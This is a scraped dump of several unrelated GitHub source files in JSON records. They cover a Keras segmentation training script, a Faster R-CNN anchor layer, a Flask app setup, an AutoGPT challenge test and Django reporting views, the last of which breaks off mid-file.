B\r\n\"\"\"\r\nimport sys\r\nsys.path.append('/root/tls/Models/')\r\nimport numpy as np\r\nnp.random.seed(1006)\r\nimport argparse\r\nimport Models , PageLoadBatches\r\nfrom keras.callbacks import ModelCheckpoint\r\nfrom keras import optimizers\r\nimport cv2\r\nimport os\r\nimport random\r\n\r\nfold=3\r\n\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument(\"--n_classes\", type=int, default = 2 )\r\nparser.add_argument(\"--input_height\", type=int , default = 320 )\r\nparser.add_argument(\"--input_width\", type=int , default = 320 )\r\nparser.add_argument(\"--epochs\", type = int, default = 250 )\r\nparser.add_argument(\"--batch_size\", type = int, default = 16 )\r\nparser.add_argument(\"--model_name\", type = str , default = \"fcn8\")\r\nparser.add_argument(\"--optimizer_name\", type = str , default = \"sgd\")\r\nparser.add_argument(\"--load_weights\", type = str , default = '')\r\n\r\nargs = parser.parse_args()\r\ntrain_batch_size = args.batch_size\r\nval_batch_size = args.batch_size\r\nn_classes = args.n_classes\r\ninput_height = args.input_height\r\ninput_width = args.input_width\r\nepochs = args.epochs\r\nload_weights = args.load_weights\r\noptimizer_name = args.optimizer_name\r\nmodel_name = args.model_name\r\n\r\n\r\ntrains=[list(range(0,20)),\r\n list(range(5,25)),\r\n list(range(10,30)),\r\n [15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,0,1,2,3,4],\r\n [20,21,22,23,24,25,26,27,28,29,0,1,2,3,4,5,6,7,8,9],\r\n [25,26,27,28,29,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14]]\r\nvalidations=[list(range(20,25)),\r\n list(range(25,30)),\r\n list(range(0,5)),\r\n list(range(5,10)),\r\n list(range(10,15)),\r\n list(range(15,20))]\r\ntests=[list(range(25,30)),\r\n list(range(0,5)),\r\n list(range(5,10)),\r\n list(range(10,15)),\r\n list(range(15,20)),\r\n list(range(20,25))]\r\n\r\nprint('training for fold '+str(fold))\r\n\r\nif not (os.path.exists('ptrain'+str(fold))): \r\n print('create patch folders if does not exist') \r\n os.mkdir('ptrain'+str(fold))\r\n os.mkdir('pltrain'+str(fold))\r\n os.mkdir('pvalidation'+str(fold))\r\n os.mkdir('plvalidation'+str(fold))\r\n print('train and validation patch folders are generated')\r\n print('train patches are being generated')\r\n patchSize=320\r\n pages=[]\r\n labels=[]\r\n for page in trains[fold]:\r\n pages.append('data/pages/'+str(page)+'.png')\r\n for label in trains[fold]:\r\n labels.append('data/labels/'+str(label)+'.png')\r\n print('train pages are: ')\r\n print(pages)\r\n print('train labels are: ')\r\n print(labels)\r\n i=0\r\n while (i <50000):\r\n page_number=random.randint(0,19)\r\n page_name=pages[page_number]\r\n label_name=labels[page_number]\r\n page=cv2.imread(page_name,0)\r\n lpage=cv2.imread(label_name,0)\r\n rows,cols=page.shape\r\n x=random.randint(0,rows-patchSize)\r\n y=random.randint(0,cols-patchSize)\r\n patch=page[x:x+patchSize,y:y+patchSize]\r\n cv2.imwrite('ptrain'+str(fold)+'/'+page_name.split('/')[2][:-4]+\"_patch\"+str(i)+\".png\",patch) \r\n lpatch=lpage[x:x+patchSize,y:y+patchSize]\r\n cv2.imwrite('pltrain'+str(fold)+'/'+label_name.split('/')[2][:-4]+\"_patch\"+str(i)+\".png\",lpatch)\r\n i=i+1\r\n print(str(i)+' train patches for fold '+str(fold)+ ' is generated')\r\n print('validation patches are being generated')\r\n pages=[]\r\n labels=[]\r\n for page in validations[fold]:\r\n pages.append('data/pages/'+str(page)+'.png')\r\n for label in validations[fold]:\r\n labels.append('data/labels/'+str(label)+'.png')\r\n print('validation pages are: ')\r\n print(pages)\r\n print('validation labels are: ')\r\n print(labels)\r\n i=0\r\n while (i <6000):\r\n page_number=random.randint(0,4)\r\n page_name=pages[page_number]\r\n label_name=labels[page_number]\r\n page=cv2.imread(page_name,0)\r\n lpage=cv2.imread(label_name,0)\r\n rows,cols=page.shape\r\n x=random.randint(0,rows-patchSize)\r\n y=random.randint(0,cols-patchSize)\r\n patch=page[x:x+patchSize,y:y+patchSize]\r\n cv2.imwrite('pvalidation'+str(fold)+'/'+page_name.split('/')[2][:-4]+\"_patch\"+str(i)+\".png\",patch) \r\n lpatch=lpage[x:x+patchSize,y:y+patchSize]\r\n cv2.imwrite('plvalidation'+str(fold)+'/'+label_name.split('/')[2][:-4]+\"_patch\"+str(i)+\".png\",lpatch)\r\n i=i+1\r\n print(str(i)+' validation patches for fold '+str(fold)+ ' is generated')\r\n\r\nmodelFns = { 'vgg_segnet':Models.VGGSegnet.VGGSegnet , 'vgg_unet':Models.VGGUnet.VGGUnet , 'vgg_unet2':Models.VGGUnet.VGGUnet2 , 'fcn8':Models.FCN8.FCN8 , 'fcn32':Models.FCN32.FCN32 }\r\nmodelFN = modelFns[ model_name ]\r\n\r\nm = modelFN( n_classes , input_height=input_height, input_width=input_width )\r\nsgd = optimizers.SGD(lr=0.001)\r\n#adm=optimizers.Adam(lr=0.0001, beta_1=0.9, beta_2=0.999, epsilon=1e-08, decay=5e-05)\r\n\r\nm.compile(loss='categorical_crossentropy',\r\n optimizer= sgd,\r\n metrics=['accuracy'])\r\n\r\nif len( load_weights ) > 0:\r\n print(\"loading initial weights\")\r\n m.load_weights(load_weights)\r\n\r\nprint ( m.output_shape)\r\n\r\noutput_height = m.outputHeight\r\noutput_width = m.outputWidth\r\n\r\nG = PageLoadBatches.imageSegmentationGenerator( 'ptrain'+str(fold)+'/', 'pltrain'+str(fold)+'/' , train_batch_size, n_classes , input_height , input_width , output_height , output_width )\r\n\r\nG2 = PageLoadBatches.imageSegmentationGenerator( 'pvalidation'+str(fold)+'/' , 'plvalidation'+str(fold)+'/' , val_batch_size, n_classes , input_height , input_width , output_height , output_width )\r\n\r\nmcp=ModelCheckpoint( filepath='bestweights'+str(fold), monitor='val_loss', save_best_only=True, save_weights_only=True,verbose=1)\r\n\r\nfor ep in range( epochs ):\r\n print ('epoch:'+str(ep))\r\n m.fit_generator( G , 3125, validation_data=G2 , validation_steps=375, epochs=1,callbacks=[mcp] )\r\n\r\n","repo_name":"beratkurar/textline_segmentation_using_fcn","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5917,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"20"} +{"seq_id":"7662018759","text":"# Usage: python3 logger.py c3/device/name\n# This will create a file called c3-device-name.log,\n# read data in loop, and save them as JSON.\n# If the file exists it will overwrite it.\n\nimport sys\nimport PyTango\n\nimport server\n\ndev = sys.argv[1]\nfname = dev.replace('/', '-') + '.log'\n\nwith open(fname, 'w') as f:\n try:\n while True:\n data = server.get_json_data(dev)\n f.write(data + '\\n')\n except KeyboardInterrupt:\n print('Logging terminated.')\n","repo_name":"mars-planet/mars_city","sub_path":"servers/webplotter/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"20"} +{"seq_id":"35480955212","text":"import pytest\nfrom pytest_mock import MockerFixture\n\nfrom autogpt.workspace import Workspace\nfrom tests.challenges.challenge_decorator.challenge_decorator import challenge\nfrom tests.challenges.utils import get_workspace_path, run_challenge\n\nCYCLE_COUNT = 3\nCOO = [[\"Luke Lafreniere\"], [\"Luke Lafreniere\"], [\"Luke Lafreniere 2017\"]]\n\nOUTPUT_LOCATION = \"output.txt\"\nUSER_INPUTS = [\n \"Write to a file called output.txt containing the name and title of the current Chief Operating Officer of Floatplane Media.\",\n \"Write to a file called output.txt containing the name and title of the current Chief Operating Officer of https://www.floatplane.com.\",\n \"Write to a file called output.txt containing the name and title of the current Chief Operating Officer of https://www.floatplane.com and the year it was formed.\",\n]\n\n\n@challenge()\ndef test_information_retrieval_challenge_c(\n monkeypatch: pytest.MonkeyPatch,\n patched_api_requestor: MockerFixture,\n level_to_run: int,\n challenge_name: str,\n workspace: Workspace,\n patched_make_workspace: pytest.fixture,\n) -> None:\n \"\"\"\n Test the challenge_c function in a given agent by mocking user inputs and checking the output file content.\n\n :param get_floatplane_ceo_agent: The agent to test.\n :param monkeypatch: pytest's monkeypatch utility for modifying builtins.\n \"\"\"\n run_challenge(\n challenge_name,\n level_to_run,\n monkeypatch,\n USER_INPUTS[level_to_run - 1],\n CYCLE_COUNT,\n )\n\n file_path = get_workspace_path(workspace, OUTPUT_LOCATION)\n with open(file_path, \"r\") as file:\n content = file.read()\n coo_name = COO[level_to_run - 1]\n for chief in coo_name:\n assert chief in content, f\"Expected the file to contain {chief}\"\n","repo_name":"PacktPublishing/Craft-an-AutoGPT-Code-Generation-AI-Instrument-Leveraging-Rust-and-GPT-4","sub_path":"Section 1/Project Folders/Project AutoGPT/Auto-GPT-master/tests/challenges/information_retrieval/test_information_retrieval_challenge_c.py","file_name":"test_information_retrieval_challenge_c.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"20"} +{"seq_id":"20500111006","text":" \nfrom db_to_table import *\nfrom descrptives import *\nfrom user_selection import *\nfrom user_rank import *\n\n\n# *********************************************\n# Run all processes\n# *********************************************\n\ndef run_all_processes():\n\tdata_base_name = \"query1_spanish_stream\"\n\tset_up_path = \"keys/set_up.py\"\n\t\n\t# descriptives\n\trun_descriptives(data_base_name, set_up_path)\n\n\t# db_to_table\n\tall_tweets_data = create_tables(data_base_name, set_up_path)\n\t# user_selection\n\tselected_users = select_users(all_tweets_data)\n\tfile_path = \"tables/3_selected_users.xlsx\"\n\tsave_df(selected_users, file_path = file_path)\n\t# user_rank\n\tranked_users = get_ranked_users(selected_users)\n\tfile_path = \"tables/4_ranked_users.xlsx\"\n\tsave_df(ranked_users, file_path = file_path)\n\n\tprint (\"Finished Process, data ready for visualization\")\n\n\n\nif __name__ == '__main__':\n\n\ttry:\n\t\tprint(\"%%%%%%%%%%%%%%% Starting task at \"+str(datetime.datetime.now()))\n\t\trun_all_processes()\n\texcept KeyboardInterrupt:\n\t\tprint ('\\nGoodbye! ') ","repo_name":"MaiteMartinez/MBITProject_Data4all","sub_path":"Python/master.py","file_name":"master.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"20"} +{"seq_id":"47990412857","text":"import re\nimport numpy as np\n# import mysql.connector\n\ndef pssm_to_bigram(file_param):\n\n # return file_param\n # print(file_param.readline())\n#\n file = open(file_param, 'r')\n # file = file_param\n file.readline()\n file.readline()\n file.readline()\n final_list = []\n num_lines = sum(1 for line in open(file_param, 'r'))\n num_lines = num_lines - 6 - 3 # 6 from the bottom 3 from the top\n array = np.zeros(shape=(num_lines, 20))\n\n matrix = [[0 for x in range(20)] for y in range(20)]\n\n # num_lines = sum(1 for line in open('/home/farshid/Desktop/Enzyme_seqs/' + hsa, 'r'))\n\n # def __init__(self):\n\n\n\n\n # return str\n\n # def create_final_list(self):\n\n\n i = 0\n\n while i < num_lines:\n str1 = file.read(89)\n str1 = str1[11:]\n a = []\n\n str1 = re.findall(\"-?\\d+\", str1)\n\n file.readline()\n final_list.append(str1)\n i = i + 1\n\n array = final_list\n\n for m in range(0, 20):\n for n in range(0, 20):\n for i in range(0, num_lines - 1):\n matrix[m][n] += int(array[i][m]) * int(array[i + 1][n])\n matrix[m][n] = matrix[m][n] / num_lines\n # def write(self,matrix):\n\n # print(len( matrix) )\n # print(len( matrix[0]) )\n # print(sum(matrix , []))\n\n return sum(matrix , [])\n\n# if __name__ == '__main__':\n#\n# file_param = '/home/farshid/Desktop/GPCR_seqs/hsa134.txt.pssm'\n# print(pssm_to_bigram(file_param))","repo_name":"farshidrayhan/test","sub_path":"ajax_test/pssm_to_bigram.py","file_name":"pssm_to_bigram.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"70634507570","text":"class Solution:\n def detectCycle(self, head):\n # write code here\n if not head:\n return head\n\n slow, fast = head, head\n\n while fast and fast.next: # 首先要判断是否有环,如果直接就遍历到None,则没环\n slow = slow.next\n fast = fast.next.next\n\n if slow == fast:\n fast = head\n while fast != slow:\n fast = fast.next\n slow = slow.next\n return fast\n return None","repo_name":"JiaXingBinggan/For_work","sub_path":"code/link/detect_cycle.py","file_name":"detect_cycle.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"20359795312","text":"# -----------------------------------------------------\n# -*- coding: utf-8 -*-\n# @Time : 8/9/2018 4:34 PM\n# @Author : sunyonghai\n# @Software: ZJ_AI\n# -----------------------------------------------------\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nfrom model.config import cfg\nimport numpy as np\nimport numpy.random as npr\nfrom utils.cython_bbox import bbox_overlaps\nfrom model.bbox_transform import bbox_transform\n\ndef anchor_target_layer(rpn_cls_score, gt_boxes, im_info, _feat_stride, all_anchors, num_anchors):\n #剔除越出边界的roi,计算边界偏移值,选出前后景,初始化权重\n \"\"\"Same as the anchor target layer in original Fast/er RCNN \"\"\"\n A = num_anchors #9\n total_anchors = all_anchors.shape[0] #候选框量,w*h*9/256\n K = total_anchors / num_anchors #特征点\n\n # allow boxes to sit over the edge by a small amount\n _allowed_border = 0\n\n # map of shape (..., H, W)\n height, width = rpn_cls_score.shape[1:3] #[h,w]\n\n # only keep anchors inside the image\n inds_inside = np.where(\n (all_anchors[:, 0] >= -_allowed_border) &\n (all_anchors[:, 1] >= -_allowed_border) &\n (all_anchors[:, 2] < im_info[1] + _allowed_border) & # width\n (all_anchors[:, 3] < im_info[0] + _allowed_border) # height\n )[0] #未超过边界的下标\n\n # keep only inside anchors\n anchors = all_anchors[inds_inside, :] #提取未超过边界的候选框\n\n # label: 1 is positive, 0 is negative, -1 is dont care\n labels = np.empty((len(inds_inside),), dtype=np.float32) #初始化label,并补为-1,0为背景,1为前景,-1忽略\n labels.fill(-1)\n\n # overlaps between the anchors and the gt boxes\n # overlaps (ex, gt)\n overlaps = bbox_overlaps( np.ascontiguousarray(anchors, dtype=np.float), np.ascontiguousarray(gt_boxes, dtype=np.float))\n #计算候选框与真实框的重合度 --重叠面积/(roi面积+GT面积-重叠面积),[w*h*9/256,len(ge_boxes)]\n argmax_overlaps = overlaps.argmax(axis=1) #每行与真实框重合度最大的候选框下标\n max_overlaps = overlaps[np.arange(len(inds_inside)), argmax_overlaps] #提取 重合度最大的候选框 [9*A,1]\n gt_argmax_overlaps = overlaps.argmax(axis=0) #每列与真实框重合度最大的候选框下标\n gt_max_overlaps = overlaps[gt_argmax_overlaps, np.arange(overlaps.shape[1])] #从全部rois 中提取重合度最高的 [1,len(gt_boxes)]\n gt_argmax_overlaps = np.where(overlaps == gt_max_overlaps)[0] #\n\n if not cfg.TRAIN.RPN_CLOBBER_POSITIVES: #先按照rpn的阈值挑选bg\n # assign bg labels first so that positive labels can clobber them\n # first set the negatives\n labels[max_overlaps < cfg.TRAIN.RPN_NEGATIVE_OVERLAP] = 0 #重合度少于0.3的视为背景\n\n # fg label: for each gt, anchor with highest overlap\n labels[gt_argmax_overlaps] = 1 #与每个gt_box重合度最高的roi视为前景\n\n # fg label: above threshold IOU\n labels[max_overlaps >= cfg.TRAIN.RPN_POSITIVE_OVERLAP] = 1 #重合度大于0.7的视为前景\n\n if cfg.TRAIN.RPN_CLOBBER_POSITIVES: #后按照rpn的阈值挑选bg\n # assign bg labels last so that negative labels can clobber positives\n labels[max_overlaps < cfg.TRAIN.RPN_NEGATIVE_OVERLAP] = 0\n\n # subsample positive labels if we have too many\n num_fg = int(cfg.TRAIN.RPN_FG_FRACTION * cfg.TRAIN.RPN_BATCHSIZE) #rpn前后景比例,提取一定批次数量的roi\n fg_inds = np.where(labels == 1)[0] #找到前景下标\n if len(fg_inds) > num_fg: #随机提取 一半batchsize个前景,正样本,其余忽略\n disable_inds = npr.choice(fg_inds, size=(len(fg_inds) - num_fg), replace=False)\n labels[disable_inds] = -1\n\n # subsample negative labels if we have too many\n num_bg = cfg.TRAIN.RPN_BATCHSIZE - np.sum(labels == 1) #剩余的背景数\n bg_inds = np.where(labels == 0)[0] #找到背景下标\n if len(bg_inds) > num_bg: # 随机提取 一半batchsize个背景,负样本,其余忽略\n disable_inds = npr.choice(bg_inds, size=(len(bg_inds) - num_bg), replace=False)\n labels[disable_inds] = -1\n #前景,背景label数目一致\n bbox_targets = np.zeros((len(inds_inside), 4), dtype=np.float32) #初始化label边界\n bbox_targets = _compute_targets(anchors, gt_boxes[argmax_overlaps, :]) #计算得到目标偏移值,[len(gt_boxes),4]\n\n bbox_inside_weights = np.zeros((len(inds_inside), 4), dtype=np.float32) #初始化\n # only the positive ones have regression targets\n bbox_inside_weights[labels == 1, :] = np.array(cfg.TRAIN.RPN_BBOX_INSIDE_WEIGHTS) #设置前景权重 (1,1,1,1)\n\n bbox_outside_weights = np.zeros((len(inds_inside), 4), dtype=np.float32) #初始化\n if cfg.TRAIN.RPN_POSITIVE_WEIGHT < 0: #正例权重为负\n # uniform weighting of examples (given non-uniform sampling)\n num_examples = np.sum(labels >= 0) #正例样本总数\n positive_weights = np.ones((1, 4)) * 1.0 / num_examples #初始化正例样本权重,1/正样本数\n negative_weights = np.ones((1, 4)) * 1.0 / num_examples #\n else: #为正,(0,1)范围内\n assert ((cfg.TRAIN.RPN_POSITIVE_WEIGHT > 0) & (cfg.TRAIN.RPN_POSITIVE_WEIGHT < 1))\n positive_weights = (cfg.TRAIN.RPN_POSITIVE_WEIGHT / np.sum(labels == 1)) #初始化权重 x/正样本数\n negative_weights = ((1.0 - cfg.TRAIN.RPN_POSITIVE_WEIGHT) / np.sum(labels == 0))\n bbox_outside_weights[labels == 1, :] = positive_weights #权重赋值\n bbox_outside_weights[labels == 0, :] = negative_weights\n\n # map up to original set of anchors\n labels = _unmap(labels, total_anchors, inds_inside, fill=-1)\n bbox_targets = _unmap(bbox_targets, total_anchors, inds_inside, fill=0)\n bbox_inside_weights = _unmap(bbox_inside_weights, total_anchors, inds_inside, fill=0)\n bbox_outside_weights = _unmap(bbox_outside_weights, total_anchors, inds_inside, fill=0)\n\n # labels\n labels = labels.reshape((1, height, width, A)).transpose(0, 3, 1, 2)\n labels = labels.reshape((1, 1, A * height, width))\n rpn_labels = labels\n\n # bbox_targets\n bbox_targets = bbox_targets.reshape((1, height, width, A * 4))\n\n rpn_bbox_targets = bbox_targets\n # bbox_inside_weights\n bbox_inside_weights = bbox_inside_weights.reshape((1, height, width, A * 4))\n\n rpn_bbox_inside_weights = bbox_inside_weights\n\n # bbox_outside_weights\n bbox_outside_weights = bbox_outside_weights.reshape((1, height, width, A * 4))\n\n rpn_bbox_outside_weights = bbox_outside_weights\n return rpn_labels, rpn_bbox_targets, rpn_bbox_inside_weights, rpn_bbox_outside_weights\n\n\ndef _unmap(data, count, inds, fill=0): #重整data\n \"\"\" Unmap a subset of item (data) back to the original set of items (of\n size count) \"\"\"\n if len(data.shape) == 1:\n ret = np.empty((count,), dtype=np.float32)\n ret.fill(fill)\n ret[inds] = data\n else:\n ret = np.empty((count,) + data.shape[1:], dtype=np.float32)\n ret.fill(fill)\n ret[inds, :] = data\n return ret\n\n\ndef _compute_targets(ex_rois, gt_rois):\n \"\"\"Compute bounding-box regression targets for an image.\"\"\"\n\n assert ex_rois.shape[0] == gt_rois.shape[0]\n assert ex_rois.shape[1] == 4\n assert gt_rois.shape[1] == 5\n\n return bbox_transform(ex_rois, gt_rois[:, :4]).astype(np.float32, copy=False)\n","repo_name":"zqdeepbluesky/zjai-com","sub_path":"lib/layer_utils/anchor_target_layer.py","file_name":"anchor_target_layer.py","file_ext":"py","file_size_in_byte":7445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"17881605832","text":"from flask import request, session, g, redirect, url_for, abort, \\\n render_template, flash\nfrom flask import Flask\nfrom flask.views import MethodView\nfrom flask_caching import Cache\nfrom flask_sqlalchemy import SQLAlchemy\n\nimport uuid, time, os, re, signal\nimport pkg_resources, platform\nimport json\nimport logging as logging\n\nlogger = logging.getLogger('werkzeug')\n\nconfig = \"\"\n# all configuration variables available via xch.config['group']['key'] in code\n# or {{ config()['group']['key'] }} in templates\nif os.environ.get('XCH_DEBUG'):\n config_path = \"xch/config/config.debug.json\"\nelif os.environ.get('XCH_DEMO'):\n config_path = \"xch/config/config.demo.json\"\nelse:\n config_path = \"xch/config/config.json\"\n\ntry:\n with open(config_path) as config_file:\n config = json.load(config_file)\nexcept:\n logger.info(f\"*** Could not load the config from {config_path}.\")\n os.kill(os.getpid(), signal.SIGTERM)\nelse:\n logger.info(f\"* Loaded config from {config_path}.\")\n\napp = Flask(__name__, static_url_path=config['site']['static_folder'])\n\napp.config.update(dict(\n SQLALCHEMY_DATABASE_URI=config['server']['database'],\n SQLALCHEMY_TRACK_MODIFICATIONS=\"false\",\n SQLALCHEMY_ECHO=True,\n SECRET_KEY=config['server']['secret'],\n STATIC_FOLDER=config['site']['static_folder'],\n RECAPTCHA_ENABLED=True,\n RECAPTCHA_SITE_KEY=config['hcaptcha']['key'],\n RECAPTCHA_SECRET_KEY=config['hcaptcha']['secret'],\n HCAPTCHA_ENABLED=True,\n HCAPTCHA_SITE_KEY=config['hcaptcha']['key'],\n HCAPTCHA_SECRET_KEY=config['hcaptcha']['secret']\n))\napp.jinja_env.cache = {}\n\napp.static_url_path=config['site']['static_folder']\napp.static_folder=app.root_path + app.static_url_path\n\nlogger.info(f\"* static_url_path {app.static_url_path}.\")\nlogger.info(f\"* static_folder {app.static_folder}.\")\n\nlogger.info(f\"* Loaded database from {config['server']['database']}.\")\n\nif config['cache']['type'] == \"redis\":\n print(\" * Cache: Redis\")\n cache = Cache(app, config={\n 'CACHE_TYPE': 'redis',\n 'CACHE_KEY_PREFIX': config['redis']['prefix'],\n 'CACHE_REDIS_HOST': config['redis']['host'],\n 'CACHE_REDIS_PORT': config['redis']['port'],\n 'CACHE_REDIS_URL': config['redis']['url']\n })\nelse:\n print(\" * Cache: \" + config['cache']['type'])\n cache = Cache(app,config={'CACHE_TYPE': config['cache']['type']})\n\ndb = SQLAlchemy(app)\n\nif config['hcaptcha']['enabled']:\n from flask_hcaptcha import hCaptcha\n hcaptcha = hCaptcha(app)\n\nimport xch.initialize\n","repo_name":"researcx/xch","sub_path":"xch/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"26676875736","text":"from db import *\nimport pandas as pd\n\n\ndef input_words_request(request):\n request = request.lower().split(' ')\n exception_words = ['VR', 'AR']\n\n for word in request:\n if len(word) <= 3 and word not in exception_words:\n request.remove(word)\n\n request = list(map(lambda x: x[:-2] if len(x) > 3 else x, request))\n return request\n\n\ndef selection_by_keywords(words):\n for word in words:\n yield pd.DataFrame(connection_select(\n f\"\"\"SELECT p.id, p.\"Описание_проекта\", p.\"Название_проекта\" FROM projects AS p WHERE NOT POSITION(' ' || '{word}' IN p.\"Описание_проекта\" || p.\"Название_проекта\") = 0;\"\"\")).values.tolist()\n\n\ndef rating_by_words_projects(a, name='dict1'):\n a = input_words_request(a)\n print(a)\n cur_dict = dict()\n\n asav = selection_by_keywords(a)\n for i in asav:\n for number in i:\n # number = number[0]\n print(number)\n if number[0] not in cur_dict:\n cur_dict[number[0]] = {\"Индекс релевантности\": 1, \"Название проекта\": number[1],\n \"Описание проекта\": number[2]}\n else:\n cur_dict[number[0]][\"Индекс релевантности\"] += 1\n\n cur_dict = dict(sorted(cur_dict.items(), key=lambda item: item[0], reverse=True))\n\n df = pd.DataFrame(data=cur_dict)\n\n df = (df.T)\n df.to_excel(name + '.xlsx', index_label='ID в базе данных')\n\n return name\n","repo_name":"zello-hello/kbshjdhktn","sub_path":"rzhd/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"523313077","text":"from datetime import datetime, timedelta\n\nfrom django.contrib import messages\nfrom django.db import IntegrityError\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import get_object_or_404\nfrom django.views.generic import TemplateView, FormView, RedirectView, DetailView\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.core.urlresolvers import reverse_lazy, reverse\nfrom django.db.transaction import atomic\n\nfrom django_filters import views as filter_view, FilterSet\n\nfrom modelo.filters import DetallePersonaFilter, RegistroPorFechaProyectoFilter\nfrom modelo.models import Responsable, Asistencia, Proyecto, Persona, RegistroAsistencia\nfrom frontend.views.mixins import SupervisorViewMixin, SupervisorBuscarPersonaMixin\nfrom frontend.forms import FusionarProyectosForm\nfrom frontend.views.base import (BaseReasignarPersonalView, BaseReportView, BaseDetailAsistenciaView,\n BaseAltaAsistenciaView, BaseNotificacionesView, BaseVerAsistenciaAjaxView,\n BaseVerAsistenciaByDate, BaseBajaPersonalView)\nfrom frontend.stats import (porcentaje_asistencia_proyecto, porcentaje_actividad,\n porcentaje_asistencia_persona, evolucion_registros_asistencia,\n get_datos_porcentuales, get_asistencia_persona, get_proyectos_estados,\n get_porcentaje_cc, calcular_porcentaje_estado_muestra)\nfrom frontend.excel import ExportToExcel\nfrom frontend.reports import PdfPrintAltaAsistencia\n\n\nclass DashboardView(SupervisorViewMixin, SupervisorBuscarPersonaMixin, TemplateView):\n template_name = \"frontend/dashboard_supervisor.html\"\n\n def get_context_data(self, **kwargs):\n hoy = datetime.now()\n data = super(DashboardView, self).get_context_data(**kwargs)\n data[\"total_proy\"], data[\"num_asis_proy\"] = porcentaje_asistencia_proyecto(hoy)\n data[\"perc_no_ocioso\"] = porcentaje_actividad(hoy)\n data[\"total_persona\"], data[\"num_asis_persona\"] = porcentaje_asistencia_persona(hoy)\n data[\"graf_evolucion\"], data[\"table_evolucion\"] = evolucion_registros_asistencia(hoy + timedelta(-7), hoy)\n data[\"proyectos_estados\"] = get_proyectos_estados(hoy)\n data[\"pers_sin_proyecto\"] = Persona.objects.filter(proyecto__fecha_baja__isnull=False).count()\n return data\n\n\nclass DatosPorcentualesView(BaseReportView, SupervisorBuscarPersonaMixin, TemplateView):\n template_name = \"frontend/datos_porcentuales_supervisor.html\"\n\n def get_context_data(self, **kwargs):\n data = super(DatosPorcentualesView, self).get_context_data(**kwargs)\n data[\"table\"], data[\"summary\"] = get_datos_porcentuales(data[\"fecha_desde\"], data[\"fecha_hasta\"])\n return data\n\n\nclass AsistenciaPorEstadoView(BaseReportView, SupervisorBuscarPersonaMixin, TemplateView):\n template_name = \"frontend/asistenca_estado_supervisor.html\"\n\n def get_context_data(self, **kwargs):\n data = super(AsistenciaPorEstadoView, self).get_context_data(**kwargs)\n data[\"table\"] = get_asistencia_persona(\n data[\"fecha_desde\"], data[\"fecha_hasta\"], group_by=data[\"group_by\"])\n return data\n\n\nclass PorcentajePersonaProyectoView(BaseReportView, SupervisorBuscarPersonaMixin, TemplateView):\n template_name = \"frontend/porcentaje_x_proyecto_supervisor.html\"\n\n def get_context_data(self, **kwargs):\n data = super(PorcentajePersonaProyectoView, self).get_context_data(**kwargs)\n data[\"table\"] = get_porcentaje_cc(\n data[\"fecha_desde\"], data[\"fecha_hasta\"])\n return data\n\n\nclass ResumenDiasTrabajadosView(SupervisorViewMixin, SupervisorBuscarPersonaMixin, TemplateView):\n template_name = \"frontend/resumen_dias_trabajados.html\"\n\n def get_context_data(self, **kwargs):\n ctx = super(ResumenDiasTrabajadosView, self).get_context_data(**kwargs)\n qs = RegistroAsistencia.objects.select_related('asistencia')\n ctx[\"generar\"] = False\n if \"generar-reporte\" in self.request.GET:\n ctx[\"filter\"] = RegistroPorFechaProyectoFilter(self.request.GET, queryset=qs)\n if ctx[\"filter\"].form.is_valid():\n ctx[\"generar\"] = True\n else:\n ctx[\"filter\"] = RegistroPorFechaProyectoFilter() \n return ctx\n\n def get(self, request, *args, **kwargs):\n ctx = self.get_context_data(**kwargs)\n if ctx[\"generar\"]:\n response = HttpResponse(content_type='application/vnd.ms-excel')\n response['Content-Disposition'] = 'attachment; filename=Report.xlsx'\n xlsx_data = ExportToExcel().fill_resumen_dias_trabajados(ctx)\n response.write(xlsx_data)\n return response\n else:\n return super(ResumenDiasTrabajadosView, self).get(request, *args, **kwargs)\n\n\nclass ReasignarPersonalView(SupervisorViewMixin, BaseReasignarPersonalView):\n\n def get_success_url(self):\n return reverse_lazy('supervisor_frontend:reasignar_personal')\n\n\nclass BajaPersonalView(SupervisorViewMixin, BaseBajaPersonalView):\n\n def get_success_url(self):\n return reverse_lazy('supervisor_frontend:baja_personal')\n\n\nclass ExportDatosPorcentualesView(BaseReportView, TemplateView):\n def get_context_data(self, **kwargs):\n data = super(ExportDatosPorcentualesView, self).get_context_data(**kwargs)\n data[\"table\"], _ = get_datos_porcentuales(data[\"fecha_desde\"], data[\"fecha_hasta\"])\n return data\n\n def get(self, request, *args, **kwargs):\n response = HttpResponse(content_type='application/vnd.ms-excel')\n response['Content-Disposition'] = 'attachment; filename=Report.xlsx'\n xlsx_data = ExportToExcel().fill_datos_porcentuales(self.get_context_data(**kwargs))\n response.write(xlsx_data)\n return response\n\n\nclass ExportAsistenciaPorEstadoView(BaseReportView, TemplateView):\n def get_context_data(self, **kwargs):\n data = super(ExportAsistenciaPorEstadoView, self).get_context_data(**kwargs)\n data[\"table\"] = get_asistencia_persona(\n data[\"fecha_desde\"], data[\"fecha_hasta\"], group_by=data[\"group_by\"])\n return data\n\n def get(self, request, *args, **kwargs):\n response = HttpResponse(content_type='application/vnd.ms-excel')\n 